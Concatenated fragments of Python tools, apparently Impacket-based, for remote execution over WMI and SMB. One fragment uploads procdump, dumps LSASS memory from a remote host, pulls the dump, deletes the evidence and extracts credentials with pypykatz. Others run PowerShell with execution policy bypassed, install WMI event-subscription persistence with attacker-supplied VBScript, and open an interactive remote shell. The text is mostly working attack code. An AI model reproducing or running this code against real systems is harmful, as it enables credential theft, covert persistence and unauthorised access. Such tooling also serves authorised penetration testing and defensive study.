RemoteShell(self.__share, win32Process, smbConnection) ## todo: ## Check OS 32 bit or 64 bit ## #cmmand = "wmic os get OSArchitecture" ### This is super hacky ### self.shell.do_put(PROC_PATH) command = "procdump64.exe -ma -accepteula lsass lsass.%s.dmp" % (addr) self.shell.onecmd(command) self.shell.do_get("lsass.%s.dmp"%(addr)) self.shell.onecmd("del procdump64.exe") command = "del lsass.%s.dmp" % (addr) self.shell.onecmd(command) ### but it still works ### #raw_input("Press ENTER to continue") print(os.popen("pypykatz lsa minidump lsass.%s.dmp"%(addr)).read()) if True: pass elif self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if smbConnection is not None: smbConnection.logoff() dcom.disconnect()
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: remoteHost = str(addr) print(remoteHost + ": starting WMI") iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) print(remoteHost + ": deploying " + self.scanobj.surveyfile) self.shell.do_cd(self.scanobj.tgtdestdirectory) self.shell.do_put(self.scanobj.surveyfile) for reqFile in self.scanobj.requiredfiles: self.shell.do_put(reqFile) print(remoteHost + ": uploading " + reqFile) destsurveyfile = self.scanobj.surveyfile[self.scanobj.surveyfile. rfind("/") + 1:] print(remoteHost + ": executing " + destsurveyfile) self.shell.onecmd("powershell -ep bypass ./" + destsurveyfile + " -verbose") print(remoteHost + ": getting results") f = self.shell.do_get("SurveyResults.xml") os.rename(f, "results/SurveyResults-" + addr + ".xml") self.shell.onecmd("del " + destsurveyfile + " SurveyResults.xml") fh = open("log/" + addr + ".txt", 'wb') fh.write(self.shell.get_alloutput()) fh.close() print(remoteHost + ": finished") self.__outputBuffer = u'' except (Exception, KeyboardInterrupt), e: import traceback traceback.print_exc() logging.error(str(e)) fh = open("log/" + addr + ".txt", 'wb') fh.write(str(e)) fh.close() if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
nthash = '' try: dcom = DCOMConnection(address, username, password, domain, lmhash, nthash, options.aesKey, oxidResolver=True, doKerberos=options.k) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin(options.namespace, NULL, NULL) iWbemLevel1Login.RemRelease() shell = WMIQUERY(iWbemServices) if options.file is None: shell.cmdloop() else: for line in options.file.readlines(): print "WQL> %s" % line, shell.onecmd(line) iWbemServices.RemRelease() dcom.disconnect() except Exception, e:
def run(self, addr): dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) iWbemLevel1Login.RemRelease() if self.__options.action.upper() == 'REMOVE': self.checkError( 'Removing ActiveScriptEventConsumer %s' % self.__options.name, iWbemServices.DeleteInstance( 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name)) self.checkError( 'Removing EventFilter EF_%s' % self.__options.name, iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name)) self.checkError( 'Removing IntervalTimerInstruction TI_%s' % self.__options.name, iWbemServices.DeleteInstance( '__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name)) self.checkError( 'Removing FilterToConsumerBinding %s' % self.__options.name, iWbemServices.DeleteInstance( r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",' r'Filter="__EventFilter.Name=\"EF_%s\""' % (self.__options.name, self.__options.name))) else: activeScript, _ = iWbemServices.GetObject( 'ActiveScriptEventConsumer') activeScript = activeScript.SpawnInstance() activeScript.Name = self.__options.name activeScript.ScriptingEngine = 'VBScript' activeScript.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] activeScript.ScriptText = options.vbs.read() self.checkError( 'Adding ActiveScriptEventConsumer %s' % self.__options.name, iWbemServices.PutInstance(activeScript.marshalMe())) if options.filter is not None: eventFilter, _ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] eventFilter.Query = options.filter eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\cimv2' self.checkError( 'Adding EventFilter EF_%s' % self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) else: wmiTimer, _ = iWbemServices.GetObject( '__IntervalTimerInstruction') wmiTimer = wmiTimer.SpawnInstance() wmiTimer.TimerId = 'TI_%s' % self.__options.name wmiTimer.IntervalBetweenEvents = int(self.__options.timer) #wmiTimer.SkipIfPassed = False self.checkError( 'Adding IntervalTimerInstruction', iWbemServices.PutInstance(wmiTimer.marshalMe())) eventFilter, _ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\subscription' self.checkError( 'Adding EventFilter EF_%s' % self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) filterBinding, _ = iWbemServices.GetObject( '__FilterToConsumerBinding') filterBinding = filterBinding.SpawnInstance() filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name filterBinding.CreatorSID = [ 1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0 ] self.checkError( 'Adding FilterToConsumerBinding', iWbemServices.PutInstance(filterBinding.marshalMe())) dcom.disconnect()
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': return self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: # filename = '$ADMIN\Temp\{}'.format(OUTPUT_FILENAME) filename = '$C\Windows\Temp\{}'.format(OUTPUT_FILENAME) # Delete outfile if self.shell: output_callback = '' # print("Cleaning up output file: {}. Please don't Ctrl+C me.".format(filename)) for _ in xrange(10): try: self.shell._RemoteShell__transferClient.deleteFile( self.shell._RemoteShell__share, self.shell._RemoteShell__output) break except KeyboardInterrupt: try: print( "Pressing Ctrl+C again might leave a file on disk: {}" .format(filename)) time.sleep(1) continue except KeyboardInterrupt: break except Exception, e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(1) pass if str(e).find('BAD_NETWORK_NAME') >= 0: print(str(e)) break else: # print str(e) time.sleep(1) pass else: print("Error: Timeout - {} might be left on disk".format( filename))